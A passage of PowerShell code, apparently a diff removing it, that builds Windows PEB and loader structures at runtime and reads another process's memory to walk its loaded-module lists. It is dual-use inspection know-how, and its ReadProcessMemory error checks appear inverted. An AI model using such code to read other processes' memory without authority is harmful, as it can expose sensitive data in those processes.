32-bit PowerShell will only - # return 32-bit processes. Get-Process on 64-bit PowerShell however will return 64-bit and Wow64 processes. - if ([IntPtr]::Size -eq 4) - { - $PowerShellArchitecture = 32 - } - else - { - $PowerShellArchitecture = 64 - } - #endregion - - #region Build PEB structure dynamically - try - { - $PEBStruct = [_PEB] - $UnicodeStringStruct = [_UNICODE_STRING] - $ProcessParametersStruct = [_RTL_USER_PROCESS_PARAMETERS] - $ListEntryStruct = [_LIST_ENTRY] - $LdrDataStruct = [_PEB_LDR_DATA] - $BalancedNodeStruct = [_RTL_BALANCED_NODE] - $LoadReasonEnum = [_LDR_DLL_LOAD_REASON] - $LdrModuleStruct = [_LDR_DATA_TABLE_ENTRY] - } - catch - { - # Note: Once this strcuture is built, it cannot be rebuilt or unloaded without restarting PowerShell - $DynAssembly = New-Object Reflection.AssemblyName('PEBTools') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('PEBModule', $False) - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('_PEB', $Attributes, [ValueType]) - - $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray - $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) - - # Build type for _UNICODE_STRING - $UnicodeTypeBuilder = $ModuleBuilder.DefineType('_UNICODE_STRING', $Attributes, [ValueType]) - $UnicodeTypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null - $UnicodeTypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null - $UnicodeTypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null - $UnicodeStringStruct = $UnicodeTypeBuilder.CreateType() - - # Build type for _RTL_USER_PROCESS_PARAMETERS - $ProcParamTypeBuilder = $ModuleBuilder.DefineType('_RTL_USER_PROCESS_PARAMETERS', $Attributes, [ValueType], 4) - $ProcParamTypeBuilder.DefineField('MaximumLength', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('Length', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('Flags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('DebugFlags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ConsoleHandle', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ConsoleFlags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StandardInput', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StandardOutput', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StandardError', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CurrentDirectory', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CurrentDirectoryHandle', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('DllPath', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ImagePathName', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CommandLine', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('Environment', [IntPtr], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StartingX', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('StartingY', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CountX', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CountY', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CountCharsX', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('CountCharsY', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('FillAttribute', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('WindowFlags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ShowWindowFlags', [UInt32], 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('WindowTitle', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('DesktopInfo', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('ShellInfo', $UnicodeStringStruct, 'Public') | Out-Null - $ProcParamTypeBuilder.DefineField('RuntimeData', $UnicodeStringStruct, 'Public') | Out-Null - $ProcessParametersStruct = $ProcParamTypeBuilder.CreateType() - - # Build type for _LIST_ENTRY - $ListEntryTypeBuilder = $ModuleBuilder.DefineType('_LIST_ENTRY', $Attributes, [System.ValueType]) - $ListEntryTypeBuilder.DefineField('Flink', [IntPtr], 'Public') | Out-Null - $ListEntryTypeBuilder.DefineField('Blink', [IntPtr], 'Public') | Out-Null - $ListEntryStruct = $ListEntryTypeBuilder.CreateType() - - # Build type for _PEB_LDR_DATA - $PEBLdrDataTypeBuilder = $ModuleBuilder.DefineType('_PEB_LDR_DATA', $Attributes, [System.ValueType]) - $PEBLdrDataTypeBuilder.DefineField('Length', [UInt32], 'Public') | Out-Null - $InitializedField = $PEBLdrDataTypeBuilder.DefineField('Initialized', [Byte[]], 'Public') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $InitializedField.SetCustomAttribute($AttribBuilder) - $PEBLdrDataTypeBuilder.DefineField('SsHandle', [IntPtr], 'Public') | Out-Null - $PEBLdrDataTypeBuilder.DefineField('InLoadOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrDataTypeBuilder.DefineField('InMemoryOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrDataTypeBuilder.DefineField('InInitializationOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrDataTypeBuilder.DefineField('EntryInProgress', [IntPtr], 'Public') | Out-Null - $ShutdownInProgressField = $PEBLdrDataTypeBuilder.DefineField('ShutdownInProgress', [Byte[]], 'Public') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 2)) - $ShutdownInProgressField.SetCustomAttribute($AttribBuilder) - $PEBLdrDataTypeBuilder.DefineField('ShutdownThreadId', [IntPtr], 'Public') | Out-Null - $LdrDataStruct = $PEBLdrDataTypeBuilder.CreateType() - - # Build type for _RTL_BALANCED_NODE - $BalancedNodeTypeBuilder = $ModuleBuilder.DefineType('_RTL_BALANCED_NODE', $Attributes, [System.ValueType]) - $BalancedNodeTypeBuilder.DefineField('Left', [IntPtr], 'Public') | Out-Null - $BalancedNodeTypeBuilder.DefineField('Right', [IntPtr], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $BalancedNodeTypeBuilder.DefineField('ParentValue', [UInt64], 'Public') | Out-Null } - else { $BalancedNodeTypeBuilder.DefineField('ParentValue', [UInt32], 'Public') | Out-Null } - $BalancedNodeStruct = $BalancedNodeTypeBuilder.CreateType() - - # Build type for _LDR_DLL_LOAD_REASON enum - $EnumBuilder = $ModuleBuilder.DefineEnum('_LDR_DLL_LOAD_REASON', 'Public', [Int32]) - # Define values of the enum - $EnumBuilder.DefineLiteral('StaticDependency', [Int32] 0) | Out-Null - $EnumBuilder.DefineLiteral('StaticForwarderDependency', [Int32] 1) | Out-Null - $EnumBuilder.DefineLiteral('DynamicForwarderDependency', [Int32] 2) | Out-Null - $EnumBuilder.DefineLiteral('DelayloadDependency', [Int32] 3) | Out-Null - $EnumBuilder.DefineLiteral('DynamicLoad', [Int32] 4) | Out-Null - $EnumBuilder.DefineLiteral('AsImageLoad', [Int32] 5) | Out-Null - $EnumBuilder.DefineLiteral('AsDataLoad', [Int32] 6) | Out-Null - $EnumBuilder.DefineLiteral('Unknown', [Int32] -1) | Out-Null - $LoadReasonEnum = $EnumBuilder.CreateType() - - # Build type for _LDR_DATA_TABLE_ENTRY - $PEBLdrModuleTypeBuilder = $ModuleBuilder.DefineType('_LDR_DATA_TABLE_ENTRY', $Attributes, [System.ValueType]) - $PEBLdrModuleTypeBuilder.DefineField('InLoadOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('InMemoryOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('InInitializationOrderModuleList', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('BaseAddress', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('EntryPoint', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('FullDllName', [_UNICODE_STRING], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('BaseDllName', [_UNICODE_STRING], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('Flags', [UInt32], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('ObsoleteLoadCount', [UInt16], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('TlsIndex', [UInt16], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('HashLinks', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('EntryPointActivationContext', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('PatchInformation', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('DdagNode', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('NodeModuleLink', [_LIST_ENTRY], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('SnapContext', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('ParentDllBase', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('SwitchBackContext', [IntPtr], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('BaseAddressIndexNode', [_RTL_BALANCED_NODE], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('MappingInfoIndexNode', [_RTL_BALANCED_NODE], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $PEBLdrModuleTypeBuilder.DefineField('OriginalBase', [UInt64], 'Public') | Out-Null } - else { $PEBLdrModuleTypeBuilder.DefineField('OriginalBase', [UInt32], 'Public') | Out-Null } - $PEBLdrModuleTypeBuilder.DefineField('LoadTime', [UInt64], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('BaseNameHashValue', [UInt32], 'Public') | Out-Null - $PEBLdrModuleTypeBuilder.DefineField('LoadReason', [_LDR_DLL_LOAD_REASON], 'Public') | Out-Null - $LdrModuleStruct = $PEBLdrModuleTypeBuilder.CreateType() - - $TypeBuilder.DefineField('InheritedAddressSpace', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('ReadImageFileExecOptions', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('BeingDebugged', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('BitField', [Byte], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $TypeBuilder.DefineField('Reserved3', [UInt32], 'Public, HasFieldMarshal') | Out-Null } - $TypeBuilder.DefineField('Mutant', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageBaseAddress', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('Ldr', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessParameters', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('SubSystemData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessHeap', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('FastPebLock', [IntPtr], 'Public') | Out-Null - - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $TypeBuilder.DefineField('AtlThunkSListPtr', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('IFEOKey', [IntPtr], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $TypeBuilder.DefineField('CrossProcessFlags', [UInt64], 'Public') | Out-Null - } else { $TypeBuilder.DefineField('CrossProcessFlags', [UInt32], 'Public') | Out-Null } - $TypeBuilder.DefineField('KernelCallbackTable', [IntPtr], 'Public') | Out-Null - } - elseif ($NTDDI_VERSION -ge $NTDDI_WS03) - { - $TypeBuilder.DefineField('AtlThunkSListPtr', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('SparePtr2', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('EnvironmentUpdateCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('KernelCallbackTable', [IntPtr], 'Public') | Out-Null - } - else - { - $TypeBuilder.DefineField('FastPebLockRoutine', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('FastPebUnlockRoutine', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('EnvironmentUpdateCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('KernelCallbackTable', [IntPtr], 'Public') | Out-Null - } - $TypeBuilder.DefineField('SystemReserved', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('AtlThunkSListPtr32', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ApiSetMap', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('TlsExpansionCounter', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TlsBitmap', [IntPtr], 'Public') | Out-Null - $TlsBitmapBitsField = $TypeBuilder.DefineField('TlsBitmapBits', [UInt32[]], 'Public, HasFieldMarshal') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 2)) - $TlsBitmapBitsField.SetCustomAttribute($AttribBuilder) - $TypeBuilder.DefineField('ReadOnlySharedMemoryBase', [IntPtr], 'Public') | Out-Null - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $TypeBuilder.DefineField('HotpatchInformation', [IntPtr], 'Public') | Out-Null - } - else - { - $TypeBuilder.DefineField('ReadOnlySharedMemoryHeap', [IntPtr], 'Public') | Out-Null - } - $TypeBuilder.DefineField('ReadOnlyStaticServerData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('AnsiCodePageData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('OemCodePageData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('UnicodeCaseTableData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfProcessors', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('NtGlobalFlag', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('CriticalSectionTimeout', [Int64], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) - { - $TypeBuilder.DefineField('HeapSegmentReserve', [UInt64], 'Public') | Out-Null - $TypeBuilder.DefineField('HeapSegmentCommit', [UInt64], 'Public') | Out-Null - } - else - { - $TypeBuilder.DefineField('HeapSegmentReserve', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HeapSegmentCommit', [UInt32], 'Public') | Out-Null - } - $TypeBuilder.DefineField('HeapDeCommitTotalFreeThreshold', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('HeapDeCommitFreeBlockThreshold', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('NumberOfHeaps', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('MaximumNumberOfHeaps', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessHeaps', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('GdiSharedHandleTable', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessStarterHelper', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('GdiDCAttributeList', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('LoaderLock', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('OSMajorVersion', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('OSMinorVersion', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('OSBuildNumber', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('OSCSDVersion', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('OSPlatformId', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSubsystem', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSubsystemMajorVersion', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImageSubsystemMinorVersion', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ActiveProcessAffinityMask', [IntPtr], 'Public') | Out-Null - $GdiHandleBufferField = $TypeBuilder.DefineField('GdiHandleBuffer', [UInt32[]], 'Public, HasFieldMarshal') - if ($PowerShellArchitecture -eq 64) { $GDI_HANDLE_BUFFER_SIZE = 60 } else { $GDI_HANDLE_BUFFER_SIZE = 34 } - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] $GDI_HANDLE_BUFFER_SIZE)) - $GdiHandleBufferField.SetCustomAttribute($AttribBuilder) - $TypeBuilder.DefineField('PostProcessInitRoutine', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('TlsExpansionBitmap', [IntPtr], 'Public') | Out-Null - $TlsExpansionBitmapBitsField = $TypeBuilder.DefineField('TlsExpansionBitmapBits', [UInt32[]], 'Public, HasFieldMarshal') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 32)) - $TlsExpansionBitmapBitsField.SetCustomAttribute($AttribBuilder) - $TypeBuilder.DefineField('SessionId', [UInt32], 'Public') | Out-Null - - if ($NTDDI_VERSION -ge $NTDDI_WINXP) - { - $TypeBuilder.DefineField('AppCompatFlags', [UInt64], 'Public') | Out-Null - $TypeBuilder.DefineField('AppCompatFlagsUser', [UInt64], 'Public') | Out-Null - $TypeBuilder.DefineField('pShimData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('AppCompatInfo', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('CSDVersion', [_UNICODE_STRING], 'Public') | Out-Null - $TypeBuilder.DefineField('ActivationContextData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('ProcessAssemblyStorageMap', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('SystemDefaultActivationContextData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('SystemAssemblyStorageMap', [IntPtr], 'Public') | Out-Null - if ($PowerShellArchitecture -eq 64) { $TypeBuilder.DefineField('MinimumStackCommit', [UInt64], 'Public') | Out-Null - } else { $TypeBuilder.DefineField('MinimumStackCommit', [UInt32], 'Public') | Out-Null } - } - if ($NTDDI_VERSION -ge $NTDDI_WS03) - { - $TypeBuilder.DefineField('FlsCallback', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('FlsListHead', [_LIST_ENTRY], 'Public') | Out-Null - $TypeBuilder.DefineField('FlsBitmap', [IntPtr], 'Public') | Out-Null - $FlsBitmapBitsField = $TypeBuilder.DefineField('FlsBitmapBits', [UInt32[]], 'Public') - $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) - $FlsBitmapBitsField.SetCustomAttribute($AttribBuilder) - $TypeBuilder.DefineField('FlsHighIndex', [UInt32], 'Public') | Out-Null - } - if ($NTDDI_VERSION -ge $NTDDI_VISTA) - { - $TypeBuilder.DefineField('WerRegistrationData', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('WerShipAssertPtr', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('pUnused', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('pImageHeaderHash', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('TracingFlags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('CsrServerReadOnlySharedMemoryBase', [UInt64], 'Public') | Out-Null - } - - $PEBStruct = $TypeBuilder.CreateType() - } - - $PEBSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$PEBStruct) - #endregion - - function Local:Get-StructFromMemory - { - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True)] - [Alias('ProcessId')] - [UInt16] - $ProcId, - - [Parameter(Position = 1, Mandatory = $True)] - [IntPtr] - $MemoryAddress, - - [Parameter(Position = 2, Mandatory = $True)] - [Alias('Type')] - [Type] - $StructType, - - [ValidateSet('InLoadOrderModuleList','InMemoryOrderModuleList','InInitializationOrderModuleList')] - [String] - $LoadOrder, - - [UInt16] - $UnicodeStringSize - ) - - if (($StructType -eq [String]) -and ($MemoryAddress -eq 0)) { Write-Output ''; return } - elseif ($MemoryAddress -eq 0) { Write-Output $null; return } - - $PROCESS_VM_READ = 0x0010 # The process permissions we'l ask for when getting a handle to the process - - $GetProcessHandle = [Diagnostics.Process].GetMethod('GetProcessHandle', [Reflection.BindingFlags] 'NonPublic, Instance', $null, @([Int]), $null) - - try - { - $Process = Get-Process -Id $ProcId -ErrorVariable GetProcessError - $Handle = $Process.Handle - } - catch [Exception] - { - Write-Error $GetProcessError - return - } - - if ($Handle -eq $null) - { - Write-Error "Unable to obtain a handle for PID $ProcId. You will likely need to run this script elevated." - return - } - - $ProtectField = $MEMORY_BASIC_INFORMATION.GetField('Protect', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBaseField = $MEMORY_BASIC_INFORMATION.GetField('BaseAddress', [Reflection.BindingFlags] 'NonPublic, Instance') - $RegionSizeField = $MEMORY_BASIC_INFORMATION.GetField('RegionSize', [Reflection.BindingFlags] 'NonPublic, Instance') - - try - { - $SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_VM_READ)) - $Handle = $SafeHandle.DangerousGetHandle() - } - catch - { - Write-Error $Error[0] - return - } - - $PAGE_EXECUTE_READ = 0x20 - $PAGE_EXECUTE_READWRITE = 0x40 - $PAGE_READONLY = 2 - $PAGE_READWRITE = 4 - - if ($StructType -eq $LdrModuleStruct -and $LoadOrder) - { - $OriginalFlink = $MemoryAddress - $Flink = $OriginalFlink - - do - { - $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) - $NativeUtils::VirtualQueryEx($Handle, $Flink, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null - - $Protection = $ProtectField.GetValue($MemoryBasicInformation) - $AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation) - $GetPointerValue = $AllocationBaseOriginal.GetType().GetMethod('GetPointerValue', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBase = $GetPointerValue.Invoke($AllocationBaseOriginal, $null).ToInt64() - $RegionSize = $RegionSizeField.GetValue($MemoryBasicInformation).ToUInt64() - - if (($Protection -ne $PAGE_READONLY) -and ($Protection -ne $PAGE_READWRITE) -and ($Protection -ne $PAGE_EXECUTE_READ) -and ($Protection -ne $PAGE_EXECUTE_READWRITE)) - { - $SafeHandle.Close() - Write-Error 'The address specified does not have read access.' - return - } - - $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$LdrModuleStruct) - $EndOfAllocation = $AllocationBase + $RegionSize - $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize - - if ($EndOfStruct -gt $EndOfAllocation) - { - $SafeHandle.Close() - Write-Error 'You are attempting to read beyond what was allocated.' - return - } - - try - { - $LocalStructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) - } - catch [OutOfMemoryException] - { - Write-Error $Error[0] - return - } - - $ZeroBytes = New-Object Byte[]($StructSize) - [Runtime.InteropServices.Marshal]::Copy($ZeroBytes, 0, $LocalStructPtr, $StructSize) - - $BytesRead = [UInt32] 0 - - if ($NativeUtils::ReadProcessMemory($Handle, $Flink, $LocalStructPtr, $StructSize, [Ref] $BytesRead)) - { - $SafeHandle.Close() - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - Write-Error ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - return - } - - $ParsedLdrModule = [Runtime.InteropServices.Marshal]::PtrToStructure($LocalStructPtr, [Type] $LdrModuleStruct) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - - switch ($LoadOrder) - { - 'InLoadOrderModuleList' { $Flink = $ParsedLdrModule.InLoadOrderModuleList.Flink } - 'InMemoryOrderModuleList' { $Flink = [IntPtr] ($ParsedLdrModule.InMemoryOrderModuleList.Flink.ToInt64() - [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct)) } - 'InInitializationOrderModuleList' { $Flink = [IntPtr] ($ParsedLdrModule.InInitializationOrderModuleList.Flink.ToInt64() - (2 * [Runtime.InteropServices.Marshal]::SizeOf([Type]$ListEntryStruct))) } - } - - $SafeHandle = $GetProcessHandle.Invoke($Process, @($PROCESS_VM_READ)) - $Handle = $SafeHandle.DangerousGetHandle() - - if ($ParsedLdrModule.SizeOfImage) - { - Write-Output $ParsedLdrModule - } - } while (($Flink -ne 0) -and ($Flink -ne $OriginalFlink)) - - $SafeHandle.Close() - } - elseif ($StructType -eq [String] -and $UnicodeStringSize) - { - $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) - $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null - - $Protection = $ProtectField.GetValue($MemoryBasicInformation) - $AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation) - $GetPointerValue = $AllocationBaseOriginal.GetType().GetMethod('GetPointerValue', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBase = $GetPointerValue.Invoke($AllocationBaseOriginal, $null).ToInt64() - $RegionSize = $RegionSizeField.GetValue($MemoryBasicInformation).ToUInt64() - - if (($Protection -ne $PAGE_READONLY) -and ($Protection -ne $PAGE_READWRITE) -and ($Protection -ne $PAGE_EXECUTE_READ) -and ($Protection -ne $PAGE_EXECUTE_READWRITE)) - { - $SafeHandle.Close() - Write-Error 'The address specified does not have read access.' - return - } - - $StructSize = $UnicodeStringSize - $EndOfAllocation = $AllocationBase + $RegionSize - $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize - - if ($EndOfStruct -gt $EndOfAllocation) - { - $SafeHandle.Close() - Write-Error 'You are attempting to read beyond what was allocated.' - return - } - - try - { - $LocalStructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) - } - catch [OutOfMemoryException] - { - Write-Error $Error[0] - return - } - - $ZeroBytes = New-Object Byte[]($StructSize) - [Runtime.InteropServices.Marshal]::Copy($ZeroBytes, 0, $LocalStructPtr, $StructSize) - - $BytesRead = [UInt32] 0 - - if ($NativeUtils::ReadProcessMemory($Handle, $MemoryAddress, $LocalStructPtr, $StructSize, [Ref] $BytesRead)) - { - $SafeHandle.Close() - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - Write-Error ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - return - } - - $ParsedStruct = [Runtime.InteropServices.Marshal]::PtrToStringUni($LocalStructPtr) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($LocalStructPtr) - $SafeHandle.Close() - - Write-Output $ParsedStruct - } - else - { - $MemoryBasicInformation = [Activator]::CreateInstance($MEMORY_BASIC_INFORMATION) - $NativeUtils::VirtualQueryEx($Handle, $MemoryAddress, [Ref] $MemoryBasicInformation, [Runtime.InteropServices.Marshal]::SizeOf([Type]$MEMORY_BASIC_INFORMATION)) | Out-Null - - $Protection = $ProtectField.GetValue($MemoryBasicInformation) - $AllocationBaseOriginal = $AllocationBaseField.GetValue($MemoryBasicInformation) - $GetPointerValue = $AllocationBaseOriginal.GetType().GetMethod('GetPointerValue', [Reflection.BindingFlags] 'NonPublic, Instance') - $AllocationBase = $GetPointerValue.Invoke($AllocationBaseOriginal, $null).ToInt64() - $RegionSize = $RegionSizeField.GetValue($MemoryBasicInformation).ToUInt64() - - if (($Protection -ne $PAGE_READONLY) -and ($Protection -ne $PAGE_READWRITE) -and ($Protection -ne $PAGE_EXECUTE_READ) -and ($Protection -ne $PAGE_EXECUTE_READWRITE)) - { - $SafeHandle.Close() - Write-Error 'The address specified does not have read access.' - return - } - - $StructSize = [Runtime.InteropServices.Marshal]::SizeOf([Type]$StructType) - $EndOfAllocation = $AllocationBase + $RegionSize - $EndOfStruct = $MemoryAddress.ToInt64() + $StructSize - - if ($EndOfStruct -gt $EndOfAllocation) - { - $SafeHandle.Close() - Write-Error 'You are attempting to read beyond what was allocated.' - return - } - - try - { - $LocalStructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) - } - catch [OutOfMemoryException] - { - Write-Error $Error[0] - return - } - - $ZeroBytes = New-Object 